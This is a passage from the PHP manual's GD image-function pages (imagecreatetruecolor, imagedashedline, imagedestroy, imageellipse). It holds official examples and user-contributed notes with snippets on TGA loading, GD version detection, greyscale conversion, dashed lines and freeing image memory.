// that asks if the image appears mirrored, and if so
// that link will execute these commands below.

// I suggest checking $HTTP_REFERER for security.

// $_GET['file'] in this case would be something along the lines
// of johndoe-img0001 (Basename is necessary to prevent
// abuse of this script!)

if ( isset( $_GET['file'] ) )
{
    $filename = "./" . basename ( $_GET['file'] ) . ".jpg";
// Making the image resource that needs to be mirrored
// Taking it from a previously exported to JPEG file.
    $output_resource_image = image_mirror ( imagecreatefromjpeg ( $filename ) );
    if ( imagejpeg ( $output_resource_image, $filename, 75 ) )
        echo "Image resaved successfully";
    else
        echo "Image couldn't be written over (Check permissions)!";
}
?>
21-Jun-2005 03:17
// Creates a transparent image rather than the default black image
function imageCreateTransparent($x, $y) {
    $imageOut = imagecreate($x, $y);
    $colourBlack = imagecolorallocate($imageOut, 0, 0, 0);
    imagecolortransparent($imageOut, $colourBlack);
    return $imageOut;
}
send at mail dot 2aj dot net 20-Jun-2005 06:20
Thanks to OverFlow636 at gmail dot com and kuya1284 at techie dot com for their original coding which this function is based upon.

PHP lacks an imagecreatefromtga function, so I have prepared a simple function to include in your library if you deal with TGA images. In addition to creating an image from TGA, it also, optionally, will output an array with the dimensions of the image because getimagesize() does not function with TGA files.

Hopefully this function will eventually be unneeded if GD is ever updated to support the TGA format.

Please keep in mind that TGA's come in many different compressions, color settings, and as a result this function will not work 100% of the time. Resulting images will fit the symptoms kuya1284 at techie dot com mentioned, and as a result you may need to create a second function. Keep in mind that using her code causes the "mirror" effect on images that load properly with the following function.

<?php
function imagecreatefromtga ( $filename, $return_array = 0 )
{
    $handle = fopen ( $filename, 'rb' );
    $data = fread ( $handle, filesize( $filename ) );
    fclose ( $handle );

    $pointer = 18;
    $x = 0;
    $y = 0;
    $w = base_convert ( bin2hex ( strrev ( substr ( $data, 12, 2 ) ) ), 16, 10 );
    $h = base_convert ( bin2hex ( strrev ( substr ( $data, 14, 2 ) ) ), 16, 10 );
    $img = imagecreatetruecolor( $w, $h );

    while ( $pointer < strlen ( $data ) )
    {
        imagesetpixel ( $img, $x, $y, base_convert ( bin2hex ( strrev ( substr ( $data, $pointer, 3 ) ) ), 16, 10 ) );
        $x++;

        if ($x == $w)
        {
            $y++;
            $x=0;
        }

        $pointer += 3;
    }

    if ( $return_array )
        return array ( $img, $w, $h );
    else
        return $img;
}
?>

Example Usage

<?php
// Get the image & its dimensions
$array = imagecreatefromtga("source_image.tga",1);

// the image ( resource image )
$image = $array[0];

// its dimensions ( integers )
$dimensions['width'] = $array[1];
$dimensions['height'] = $array[2];

// Delete the image resource array entry to free memory
imagedestroy($array[0]);
?>

The second variable, $return_array is optional. If you simply want to load a TGA, leave the variable off the function's call as such:
<?
// Return the resource image alone
$resource_image = imagecreatefromtga ( "source_image.tga" );

// Declare the content-type as a JPEG image.
header ( 'Content-type: image/jpeg' );

// Convert the image to JPEG for smaller file size and compatability
imagejpeg ( $resource_image, NULL, 100 );
imagedestroy ( $resource_image );
?>
kuya1284 at techie dot com 26-Feb-2005 11:48
OverFlow636,

It appears that your code was causing TGA's to be inverted horizontally and upside down.  I modified your code accordingly. The sample below is an example of what I did to convert a tga to jpg. The for loop was taken from the comment below (Eric Mulders) to properly render the image.

Nice job with the code buddy.

function tga2jpg ($image)
{
    $handle = fopen($image, "rb");
    $data = fread($handle, filesize($image));
    fclose($handle);

    $pointer = 18;
    $w = fileint (substr ($data, 12, 2));
    $h = fileint (substr ($data, 14, 2));
    $x = 0;
    $y = $h;

    $img = imagecreatetruecolor($w, $h);

    while ($pointer < strlen($data))
    {
        imagesetpixel ($img, $x, $y, fileint (substr ($data, $pointer, 3)));

        $x++;

        if ($x == $w)
        {
            $y--;
            $x = 0;
        }

        $pointer += 3;
    }

    for($a = 0; $a < imagecolorstotal ($img); $a++)
    {
        $color = imagecolorsforindex ($img, $a);

        $R=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
        $G=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
        $B=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);

        imagecolorset ($img, $a, $R, $G, $B);
    }

    imagejpeg ($img, 'test.jpg', 100);
    imagedestroy ($img);
}

function fileint($str)
{
    return base_convert (bin2hex (strrev ($str)), 16, 10);
}

tga2jpg ('test.tga');
OverFlow636 at gmail dot com 14-Dec-2004 12:14
i dont know if there was an easyer way to do this, but heres my code to convert a .tga image to whatever you want to output it as
it works with basic tga files only

<?
$handle = fopen("xxx.tga","rb");
$data = fread($handle,filesize("xxx.tga"));
fclose($handle);
$pointer = 18;
$x = 0;
$y = 0;
$w = fileint(substr($data,12,2));
$h = fileint(substr($data,14,2));
$img = imagecreatetruecolor($w,$h);

while ($pointer < strlen($data))
{
imagesetpixel($img, $x,$y,fileint(substr($data,$pointer,3)));
$x++;

if ($x==$w)
{
$y++;
$x=0;
}

$pointer += 3;
}

header("Content-type: image/jpeg");
imagepng($img);
imagedestroy($img);

function fileint($str)
{
  return base_convert(bin2hex(strrev($str)),16,10);
}
?>
termian 05-Dec-2004 04:59
kai wrote:
//using imagecolorallocate to specify the image's background
//color does not work with truecolor-image.
//
//instead you have to use imagefill to force flood-filling the
//image with the backgorund-color previously allocated:
//
//$bgColor = imagecolorallocate($img, 255,255,255);
//imagefill($img , 0,0 , $bgColor);

even this doesn't work for my configuration - fedora core2, php 4.3.8 + gd bundled (2.0.23 compatible) and I have to do this:
$img = imagecreatetruecolor($x, $y);
$bgColor = imagecolorallocate($img, 255,255,255);
imagefilledrectangle($img, 0, 0, $x-1, $y-1, $bgColor);
kai at meder dot info 07-Oct-2004 09:20
using imagecolorallocate to specify the image's background color does not work with truecolor-image.

instead you have to use imagefill to force flood-filling the image with the backgorund-color previously allocated:

$bgColor = imagecolorallocate($img, 255,255,255);
imagefill($img , 0,0 , $bgColor);

kai
unigram at byair dot net 25-May-2004 02:46
If your hosting system does not have imagecreatetruecolor() because of PHP<4.2 and GD<2.0 then a get around is

<?
$thumb = imagecreate ($width, $height);
imageJPEG($thumb,"images/temp.jpg");
$thumb = @imagecreatefromjpeg("images/temp.jpg");
?>

which creates a thumbnail of right size, saves as a jpeg and then reads it, in true color.

This corrected the degradation caused by using palette images as destination for imagecopyresized ()
Justin Greer 08-Jan-2004 08:38
I know it's not a discussion board, but when incorrect info is posted, it should be corrected.

The function_exists() check does not work correctly because if PHP is compiled with an older GD library, the imagecreatetruecolor() function still exists -- it just gives a fatal error when called, stating that GD2 is required.  Therefore, the function_exists() method will fail on any new-ish copy of PHP that only has GD 1.x.  (That includes most of the 4.1.x and 4.2.x installs I've seen.)
fixxxer at php5 dot ru 26-Dec-2003 05:47
A note to post by Justin Greer @ 18-Nov-2003 10:40:

While this information has already been posted by php at REMOVEreallynicejerk dot com @ 16-Sep-2002 12:01, I feel it neccesary to notice 'cause Justin's post is in the top and it can make people go the wrong way: Justin's way of detecting which imagecreate function to use is too complicated, while there's an easy standard way:

<?php
if (function_exists('imagecreatetruecolor') {
 // use imagecreatetruecolor
} else {
 // use imagecreate
}
Justin Greer 18-Nov-2003 02:40
Unfortunately the @imagecreatetruecolor() method doesn't even work because php dies with a fatal error noting that GD 2 is required.  You can't even capture this error with a custom error handler.

I have come up with a function to get the GD version number that seems to work pretty well on every version of PHP and GD I've thrown at it (even CLI versions.)  It's obviously not the most efficient thing in the world, but it does cache the result in a static variable so calling it multiple times doesn't slow down further.

function gd_version() {
    static $gd_version_number = null;
    if ($gd_version_number === null) {
        // Use output buffering to get results from phpinfo()
        // without disturbing the page we're in.  Output
        // buffering is "stackable" so we don't even have to
        // worry about previous or encompassing buffering.
        ob_start();
        phpinfo(8);
        $module_info = ob_get_contents();
        ob_end_clean();
        if (preg_match("/\bgd\s+version\b[^\d\n\r]+?([\d\.]+)/i",
                $module_info,$matches)) {
            $gd_version_number = $matches[1];
        } else {
            $gd_version_number = 0;
        }
    }
    return $gd_version_number;
}

Then you can simply use it something like this:

if (gd_version() >= 2) {
    $image = ImageCreateTrueColor($width, $height);
} else {
    $image = ImageCreate($width, $height);
}
Hallvord RM Steen <phpnet at hallvord dot com> 27-Oct-2003 05:40
Regarding choosing the TrueColor or the plain version of imagecreate automatically, I've found that the following works for me:

<?php

$newImg=@ImageCreateTrueColor($width, $height)
    or $newImg=ImageCreate($width, $height);

?>
Jami 10-Jul-2003 03:11
It's good to use the imagecopyresampled- function when creating thumbnails with true colors, it might look better than imagecopyresized..
bjorntje at hotmail dot com 07-Jun-2003 10:41
I just fiddled around with Phpix, which had some problems using the GD lib
(washed out colours).
I changed the lines, which did the trick.
Just in case some of you are still having problems and
you can't change the PHP-install
on the hosting side:

$im = ImageCreateFromJPEG($source);
$new_im = ImageCreate($new_width,$new_height);

ImageCopyResized($new_im,$im,0,0,0,0,
$new_width,$new_height,ImageSX($im),ImageSY($im));

TO

$im = ImageCreateFromJPEG($source);
$new_im = ImageCreateTrueColor($new_width,$new_height);

ImageCopyResized($new_im,$im,0,0,0,0,$new_width,
$new_height,ImageSX($im),ImageSY($im));
Micke (micke dot prag at newstonight dot net) 08-Mar-2003 04:21
Here is my solution for creating images with the same code for both GD < 2 and GD > 2:

$dst_img = @imageCreateTrueColor($width, $height);
if (!$dst_img) { $dst_img = imageCreate($width, $height); }
Andreas from www.ems-p.de 28-Feb-2003 06:15
The request of gdlib from brad at brwebdesign dot com won't work with PHP < 4.1 (version_compare).

Some phpinfo versions offer the version number without space so you better ask for the dot:

ob_start();
phpinfo(8);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=strip_tags($phpinfo);
$phpinfo=stristr($phpinfo,"gd version");
$phpinfo=stristr($phpinfo,"version");
$end=strpos($phpinfo,".");
$phpinfo=substr($phpinfo,0,$end);
$length = strlen($phpinfo)-1;
$phpinfo=substr($phpinfo,$length);
if($phpinfo<2){
    $dst_img=ImageCreate($new_w,$new_h);}
else {
    $dst_img=ImageCreateTrueColor($new_w,$new_h);
}
marc at thewebguys dot com dot au 24-Jan-2003 04:40
I discovered when installing GD 2+ that ImageCreate() doesn't work well with JPEGS, it makes a true colour JPEG into a 16 colour mess when combining ImageCreateFromJPEG(). If you have GD 2+ you must use ImageCreateTrueColor() for things like thumbnails, etc.
billet_jerome at yahoo dot fr 14-Jan-2003 05:26
Because imagecreatetruecolor exist both in gd and gd2,
you can't use function_exists or get_extension_funcs to check for gd2 !
But ... there is a difference in imagettfbbox between gd and gd2:
gd use pixels and gd2 use points.

Then you can check gd2 with this function:

function sysB_chkgd2()
{

$rep=false;
if(isset($GLOBALS["gBGDVersion"]))
    {
    $rep=$GLOBALS["gBGDVersion"];
    }
else
    {
    if(function_exists("gd_info"))
       {
       $gdver=gd_info();
       if(strstr($gdver["GD Version"],"1.")!=false)
          {
          $rep=false;
          }
       else
           {
           $rep=true;
           }
       }
    else
        {
        $size=40;
        $font= your font file path here;
        $b=imagettfbbox ($size,0,$font,"abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ");

        if(($size+1)<abs($b[5]-$b[3]))
           {
           $rep=true;
           }

         }
    $GLOBALS["gBGDVersion"]=$rep;
    }

return $rep;
}
aaron at aaron-wright dot com 25-Sep-2002 02:49
Actually GD <2.0 had imagecreattruecolor, it just didn't work :P

This is a better test:

function chkgd2(){
  $testGD = get_extension_funcs("gd"); // Grab function list
  if (!$testGD){ echo "GD not even installed."; exit; }
  if (in_array ("imagegd2",$testGD)) $gd_version = "<2"; // Check
  if ($gd_version == "<2") return false; else return true;
}

if (chkgd2()) echo "<h1>GD2+ is installed.</h1>"; // Test for GD2
else echo "<h1>GD2+ is not installed.</h1>";
php at REMOVEreallynicejerk dot com 15-Sep-2002 04:01
Why not just use function_exists?

http://www.php.net/function_exists

Just because they have version 2.0 GD doesn't mean that they haven't disabled that function.

Also instead of determining which one you have on your machine and then writing setup specific code, you can write a universal code usable on either setups.

::pseudo code::

if (function_exists(imagecreatetruecolor)){
use imagecreatetruecolor()
}else{
use imagecreate()
}
brad at brwebdesign dot com 25-May-2002 02:26
I came up with this today.  You need GD2.0 or greater to use imagecreatetruecolor so you can parse phpinfo to get the needed information.  this will have to go at the very top of the page with no whitespace above it

<?php
ob_start();
phpinfo(8);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=strip_tags($phpinfo);
$phpinfo=stristr($phpinfo,"gd version");
$phpinfo=stristr($phpinfo,"version");
$end=strpos($phpinfo," ");
$phpinfo=substr($phpinfo,0,$end);
$phpinfo=substr($phpinfo,7);
if(version_compare("2.0", "$phpinfo")==1)
echo "you have a version less then 2";
?>

The if statement is for PHP 4.1 or greater, but you can use other methods of comparing the version numbers if the server you are on do not have that version of php
pmas7354 at artax dot karlin dot mff dot cuni dot cz 26-Feb-2002 05:40
Here is answer for first question 'why do I need true color images'.

True color images you need when you want to work with images such as photos (snapshots), video frames and so on.

When you need to combine some these images for user, or to send him only small part of your image, and you try to use 256 colors, image will be ugly (try it if you want). Some colors will change dramatically.

"Antialias" lines which you may see are probably the result of using JPEG compression. JPEG is not looseless compression so "small image details may be changed" in order to reduce image size dramatically. On really true-color images such as your snapshots of landscape and so on and using small compression level you will hardly see differences. But on exact objects, such as lines, circles, which you draw on solid background using single color, you can see that if you save and load this image that some details are changed.
rossa at studioware dot net 23-Jan-2002 07:38
function ConvertGreyscale($image){
# this file outputs a grey version of specified image

  $total = ImageColorsTotal($image);
  for( $i=0; $i<$total; $i++){
     $old = ImageColorsForIndex($image, $i);

     #trying to keep proper saturation when converting
     $commongrey = (int)(($old[red] + $old[green] + $old[blue]) / 3);

     ImageColorSet($image, $i, $commongrey, $commongrey, $commongrey);
  }
}
eric at spiderws dot com 12-Aug-2001 10:45
This little function does it for you:

<?
$image_id = imageCreateFromJPEG($image);
for($a=0;$a<imagecolorstotal ($image_id);$a++)
        {
            $color = ImageColorsForIndex($image_id,$i);
            $R=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            $G=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            $B=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
            ImageColorSet($image_id, $a, $R, $G, $B);
        }
imageJPEG($image_id,"$image");
?>

The .299 , .578 , .114 values are estimations, and add a gamma correction to the colors. For more or less luminace in the result, you can change these values.

Goodluck,
Eric Mulders, Netherlands
steve at stevegodwin dot com 30-Jun-2001 05:22
ImageCreateTrueColor is used to create an image resource with an unlimited number of colors, which is useful when manipulating JPEG images, for example.

ImageCreate is used to create an image resource with a 256 color palette, sometimes called indexed color.

In previous versions, ImageCreate worked OK for manipulating JPEG images. But in experimenting with the Win32 version of PHP 4.0.6, which I think relies on the GD 2.0.1 lib beta, you have to use ImageCreateTrueColor to get accurate color results with JPEGs.
imagecreatefromxpm
imagedashedline
GD and Image Functions


Draw a dashed line

imagecreatetruecolor
imagedestroy
GD and Image Functions
PHP Manual

imagedashedline

(PHP 4, PHP 5)

imagedashedline — Draw a dashed line

Description

bool imagedashedline ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color )

This function is deprecated. Use combination of imagesetstyle() and imageline() instead.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x1

Upper left x coordinate.

y1

Upper left y coordinate 0, 0 is the top left corner of the image.

x2

Bottom right x coordinate.

y2

Bottom right y coordinate.

color

The fill color. A color identifier created with imagecolorallocate().

Return Values

Always returns true

Examples

Example #1 imagedashedline() example

<?php
// Create a 100x100 image
$im = imagecreatetruecolor(100, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);

// Draw a vertical dashed line
imagedashedline($im, 50, 25, 50, 75, $white);

// Save the image
imagepng($im, './dashedline.png');
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagedashedline()

Example #2 Alternative to imagedashedline()

<?php
// Create a 100x100 image
$im = imagecreatetruecolor(100, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);

// Define our style: First 4 pixels is white and the
// next 4 is transparent. This creates the dashed line effect
$style = Array(
                $white,
                $white,
                $white,
                $white,
                IMG_COLOR_TRANSPARENT,
                IMG_COLOR_TRANSPARENT,
                IMG_COLOR_TRANSPARENT,
                IMG_COLOR_TRANSPARENT
                );

imagesetstyle($im, $style);

// Draw the dashed line
imageline($im, 50, 25, 50, 75, IMG_COLOR_STYLED);

// Save the image
imagepng($im, './imageline.png');
imagedestroy($im);
?>

See Also

  • imagesetstyle() - Set the style for line drawing
  • imageline() - Draw a line

User Contributed Notes

tgabor72 at freemail dot hu 17-Aug-2010 11:50
You can use the imagepatternedline() function with extra features instead of imagedashedline() to give a visible dashedlines and other any kind of patterned lines on your images. The routine also manages the thickness of the line. Have fun!

<?php
// imagepatternedline() function
// Routine was developed to draw any kind of straight line with thickness. Routine uses imageline() function to draw line.
// Parameters are (similar to imageline() function):
//   $image: (resource) imagefile
//   $xstart, $ystart: (int) x,y coordinates for first point
//   $xend, $yend: (int) x,y coordinates for last point
//   $color: (int) color identifier that created with imagecolorallocate()
// extra parameters:
//   $thickness: (int) thickness of line in pixel
//   $pattern: (string) pattern of line, which repeats continuously while line is being drawed.
//   If there is '1' in the pattern that means the actual dot of line is visible,
//   '0' means dot is not visible (space between two line elements).
//   All characters regard for one pixel. Default: 1 dot wide dashed line with 4-4 dots and spaces.
// Examples for pattern:
// "1" or "" continuous line
// "10" close dotline
// "10000" dotline
// "111111110000001100000011111111" dotline for design drawing
// "111111111100000011000000110000001111111111" double dotline
// some examples for using imagepatternedline():
// imagepatternedline($image,300,300,442,442,$color,200,""); // a square with 200 length of edge and rotated 45 degrees
// imagepatternedline($image,100,200,289,200,$color,100,
//  "11001100000011001111000011001111110000001100001100"
// ."00001111001100111100000011000000110000110011001100"
// ."11000011111100111111000011001111001111000011110000"
// ."1111001111110011000011000000001100110011"); // barcode

function imagepatternedline($image, $xstart, $ystart, $xend, $yend, $color, $thickness=1, $pattern="11000011") {
   $pattern=(!strlen($pattern)) ? "1" : $pattern;
   $x=$xend-$xstart;
   $y=$yend-$ystart;
   $length=floor(sqrt(pow(($x),2)+pow(($y),2)));
   $fullpattern=$pattern;
   while (strlen($fullpattern)<$length) $fullpattern.=$pattern;
   if (!$length) {
      if ($fullpattern[0]) imagefilledellipse($image, $xstart, $ystart, $thickness, $thickness, $color);
      return;
   }
   $x1=$xstart;
   $y1=$ystart;
   $x2=$x1;
   $y2=$y1;
   $mx=$x/$length;
   $my=$y/$length;
   $line="";
   for($i=0;$i<$length;$i++){
      if (strlen($line)==0 or $fullpattern[$i]==$line[0]) {
         $line.=$fullpattern[$i];
      }else{
         $x2+=strlen($line)*$mx;
         $y2+=strlen($line)*$my;
         if ($line[0]) imageline($image, round($x1), round($y1), round($x2-$mx), round($y2-$my), $color);
         $k=1;
         for($j=0;$j<$thickness-1;$j++) {
            $k1=-(($k-0.5)*$my)*(floor($j*0.5)+1)*2;
            $k2= (($k-0.5)*$mx)*(floor($j*0.5)+1)*2;
            $k=1-$k;
            if ($line[0]) {
               imageline($image, round($x1)+$k1, round($y1)+$k2, round($x2-$mx)+$k1, round($y2-$my)+$k2, $color);
               if ($y) imageline($image, round($x1)+$k1+1, round($y1)+$k2, round($x2-$mx)+$k1+1, round($y2-$my)+$k2, $color);
               if ($x) imageline($image, round($x1)+$k1, round($y1)+$k2+1, round($x2-$mx)+$k1, round($y2-$my)+$k2+1, $color);
            }
         }
         $x1=$x2;
         $y1=$y2;
         $line=$fullpattern[$i];
      }
   }
   $x2+=strlen($line)*$mx;
   $y2+=strlen($line)*$my;
   if ($line[0]) imageline($image, round($x1), round($y1), round($xend), round($yend), $color);
   $k=1;
   for($j=0;$j<$thickness-1;$j++) {
      $k1=-(($k-0.5)*$my)*(floor($j*0.5)+1)*2;
      $k2= (($k-0.5)*$mx)*(floor($j*0.5)+1)*2;
      $k=1-$k;
      if ($line[0]) {
         imageline($image, round($x1)+$k1, round($y1)+$k2, round($xend)+$k1, round($yend)+$k2, $color);
         if ($y) imageline($image, round($x1)+$k1+1, round($y1)+$k2, round($xend)+$k1+1, round($yend)+$k2, $color);
         if ($x) imageline($image, round($x1)+$k1, round($y1)+$k2+1, round($xend)+$k1, round($yend)+$k2+1, $color);
      }
   }
}
?>
ProfessorNeo at gmx dot de 16-Feb-2006 12:07
The bug reported by 'michi at marel dot at' also exists in PHP version 5.1.1. This functions just works with vertical lines!
alien-scripts.de 13-Jul-2005 02:17
I make my own dashedline:

<?
for($l=50;$l<=550;$l+=5)
   {
    if($da == 0) { $da = 1; }
    elseif($da == 1){
    imageline($bild,$l,50,$l+5,50,$green);
    $da = 0; }
   }
?>

$l is the x-value
and we have a dashed line :)
michi at marel dot at 19-Nov-2003 06:49
There's a bug till PHP 4.0.4 in this function. You can only draw vertical dashed lines. To draw other dashed lines you can set <ImageSetStyle> to a special dashed line and draw it by <ImageLine>.

Sample code:
<?php
function MDashedLine($image, $x0, $y0, $x1, $y1, $fg, $bg)
{
        $st = array($fg, $fg, $fg, $fg, $bg, $bg, $bg, $bg);
        ImageSetStyle($image, $st);
        ImageLine($image, $x0, $y0, $x1, $y1, IMG_COLOR_STYLED);
}
?>
imagecreatetruecolor
imagedestroy
GD and Image Functions


Destroy an image

imagedashedline
imageellipse
GD and Image Functions
PHP Manual

imagedestroy

(PHP 4, PHP 5)

imagedestroy — Destroy an image

Description

bool imagedestroy ( resource $image )

imagedestroy() frees any memory associated with image image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using imagedestroy() example

<?php
// create a 100 x 100 image
$im = imagecreatetruecolor(100, 100);

// alter or save the image

// frees image from memory
imagedestroy($im);
?>

User Contributed Notes

newman dot imotion at gmail dot com 03-Nov-2011 06:11
Using PHP 5.3.8., when passing an image to a function for processing and then using imagedestroy() on the passed image inside the function will result in the original image being destroyed!

Make very sure you are completely done with an image before using imagedestroy().

Try this simple code:

<?php

$filename = "http://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/Golfball.jpg/260px-Golfball.jpg";
list($width, $height) = getimagesize($filename);
$sourceIMAGE = imagecreatefromjpeg($filename);

imagejpeg($sourceIMAGE, 'test_destroy_1.JPG', 100); //writes source image to file as JPEG
imagejpeg(iconifyIMAGE($sourceIMAGE, $width, $height), 'test_destroy_2.JPG', 100); //writes iconified image to file as JPEG
imagejpeg($sourceIMAGE, 'test_destroy_3.JPG', 100); //<--- this will fail because imagedestroy() was called in the function iconifyIMAGE()

function iconifyIMAGE($srcI, $srcX, $srcY)
{
    $iconIMAGE = imagecreatetruecolor(20, 20);
    imagecopyresampled($iconIMAGE, $srcI, 0, 0, 0, 0, 20, 20, $srcX, $srcY);
    imagedestroy($srcI); //<--- this also destroys $sourceIMAGE
    return ($iconIMAGE);
}
?>

The code returns the following error: Warning: imagejpeg(): 6 is not a valid Image resource in C:\xampp\htdocs\bitmap_tester_destroy.php on line 9

Line 9 is... imagejpeg($sourceIMAGE, 'test_destroy_3.JPG', 100);
corpus-deus at softhome dot net 12-Feb-2010 06:33
In theory creating an image object and calling imagedestroy in your destructor should be a good way of doing it; something like:

<?php
final class My_Image() {

  private $img;

  public function __construct() {
    $this->img = imagecreatetruecolor();
    // ... other stuff ...
  }

  public function __destruct() {
    if(is_resource($this->img)) {
      imagedestroy($this->img);
    }
  }

  // ... other methods...

}
?>

I check that $this->img is a resource in case imagecreatetruecolor() fails or you null the value somewhere down the line from a method call meaning that $this->img is NOT a resource, in which case imagedestroy is an unecessary function call that just fails with a warning message.
webmaster at codefisher dot org 05-Oct-2007 10:26
And to continue what Docey said, if php did not destroy all resources when the script stopped it would be a huge memory leak and everyone would be crying out for it to be fixed right away.

I have been using this function during a script that was breaking an image made of many little icons into the little parts, which could mean 400+ images in the one script, which was using a lot of memory so I needed to destroy them.
Docey 20-Oct-2006 10:59
When the script stop PHP will automatic destory ANY
resources, this goes for aswell for images, thus in the
case the use clicks the stop button, php will automatic
clear the resource.

thus imagedestroy is used to clear the memory BEFORE
the script ends. this is usefull to keep memory usage
DURING the script to an acceptable level.

hope this clear somethings up.
roland at more-pc dot nl 24-Sep-2005 06:31
As Andrew states below, it's IMPERATIVE that you use the imagedestroy() function. But your script may abort before it reaches the call to imagedestroy() (for example the user may click the browsers 'stop' button). In this case the default PHP behaviour is to abort the script, never reaching your call to imagedestroy().
One way of doing it (the one which works very well for me) is with register_shutdown_function():
<?
function shutdown_func() {
    global $img;
    if($img)
        imagedestroy($img);
}
register_shutdown_function("shutdown_func");
$img = imagecreate...(...);
... // manipulate image
// normally I'd need the following line, but now it's handled by shutdown_func()
// imagedestroy($img);
?>
Andrew Hoffmann - ahoffmann at wisc dot edu 23-Jun-2005 07:25
When working with a lot of high-resolution images, it's IMPERATIVE that you use the imagedestroy() function.

In my scenario, I was taking two high resolution desktop wallpapers and shrinking them down into successively smaller ones (preventing the user from having to upload a dozen files).

At first, my script would run, then just stop.  I realized later that I had not destroyed the source image and the newly resized image in memory after I had finished writing the file out to disk.  Thus, I quickly reached the memory limit that my hosting provider placed in their php.ini file.

Reusing an image variable does NOT clear the old data out of memory!  You must use imagedestroy() to clear the data out.  (I don't know if unset() works as well).

Also note that the image data in memory is raw, so don't base how much memory you are using based on the original filesize of the compressed image (such as jpeg or png).
dan at mlodecki dot net 04-Mar-2004 04:42
I have noticed that gd drawing functions can behave oddly if there is a previous image which has not been imagedestroy()'ed.  You should always imagedestroy when you are done with an image object.
imagedashedline
imageellipse
GD and Image Functions


Draw an ellipse

imagedestroy
imagefill
GD and Image Functions
PHP Manual

imageellipse

(PHP 4 >= 4.0.6, PHP 5)

imageellipse — Draw an ellipse

Description

bool imageellipse ( resource $image , int $cx , int $cy , int $width , int $height , int $color )

Draws an ellipse centered at the specified coordinates.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

cx

x-coordinate of the center.

cy

y-coordinate of the center.

width

The ellipse width.

height

The ellipse height.

color

The color of the ellipse. A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imageellipse() example

<?php

// Create a blank image.
$image = imagecreatetruecolor(400, 300);

// Select the background color.
$bg = imagecolorallocate($image, 0, 0, 0);

// Fill the background with the color selected above.
imagefill($image, 0, 0, $bg);

// Choose a color for the ellipse.
$col_ellipse = imagecolorallocate($image, 255, 255, 255);

// Draw the ellipse.
imageellipse($image, 200, 150, 300, 200, $col_ellipse);

// Output the image.
header("Content-type: image/png");
imagepng($image);

?>

The above example will output something similar to:

Output of example : imageellipse()

Notes

Note:

This function requires GD 2.0.2 or later.

See Also

  • imagefilledellipse() - Draw a filled ellipse
  • imagearc() - Draws an arc

User Contributed Notes

themountainlion at gmail dot com 13-Jul-2008 09:28
In example #1 above, the variable $bg is set but not used. Set the background to anything but black ,and it won't take effect. The example needs

imagefill($image, 0, 0, $bg);

Some other image function examples have the same issue.
simon_nuttall at hotmail dot com 07-Jun-2006 01:36
This is an optimised and bug fixed version of nojer at yahoo dot com's rotatedellipse function. I've changed it so that the arguments are compatible with imageellipse. See notes on imagearc for original version.

<?php

function rotatedellipse($im, $cx, $cy, $width, $height, $rotateangle, $colour, $filled=false) {
  // modified here from nojer's version
  // Rotates from the three o-clock position clockwise with increasing angle.
  // Arguments are compatible with imageellipse.

  $width=$width/2;
  $height=$height/2;

  // This affects how coarse the ellipse is drawn.
  $step=3;

  $cosangle=cos(deg2rad($rotateangle));
  $sinangle=sin(deg2rad($rotateangle));

  // $px and $py are initialised to values corresponding to $angle=0.
  $px=$width * $cosangle;
  $py=$width * $sinangle;

  for ($angle=$step; $angle<=(180+$step); $angle+=$step) {

    $ox = $width * cos(deg2rad($angle));
    $oy = $height * sin(deg2rad($angle));

    $x = ($ox * $cosangle) - ($oy * $sinangle);
    $y = ($ox * $sinangle) + ($oy * $cosangle);

    if ($filled) {
      triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
      triangle($im, $cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
    } else {
      imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
      imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
    }
    $px=$x;
    $py=$y;
  }
}

function triangle($im, $x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}

?>
julian 16-Jan-2005 06:23
if you want to display an ellipse in the upper left corner of an image, you can easily calculate the corresponding cx and cy values. this example will draw an ellipse having the same width and height as the image.

<?php

$ellipse_width = 100;
$ellipse_height = 200;

$ellipse_cx = ($ellipse_width / 2);
$ellipse_cy = ($ellipse_height / 2);

$img_x = $ellipse_width;
$img_y = $ellipse_height;

$img = imagecreate($img_x, $img_y);
$bg = imagecolorallocate($img, 255,255,255);

$ellipse_color = imagecolorallocate($img, 0, 0, 0);

imageellipse($img, $ellipse_cx, $ellipse_cy, $ellipse_width, $ellipse_height, $ellipse_color);

header("Content-type: image/png");
imagepng($img);
imagedestroy($img);

?>
agentyoungsoo at hanmail dot net 04-Dec-2002 08:56
When you wana use "ImageEllipse" function
in under GD 2.0.2 version, you can use "ImageArc" like bellow

----------------------------------------------------
$file_name = "test.png";

$screen_x = 300;
$screen_y = 200;

$x1 = $screen_x / 2;
$y1 = $screen_y / 2;

$radius = 30;

$image = ImageCreate($screen_x, $screen_y);
$black = ImageColorAllocate($image, 0,0,0);

ImageArc($image, $x1, $y1, $radius , $radius , 0, 360, $black);

ImagePng($image, $file_name);
ImageDestroy($image);
----------------------------------------------------
imagedestroy
imagefill
GD and Image Functions


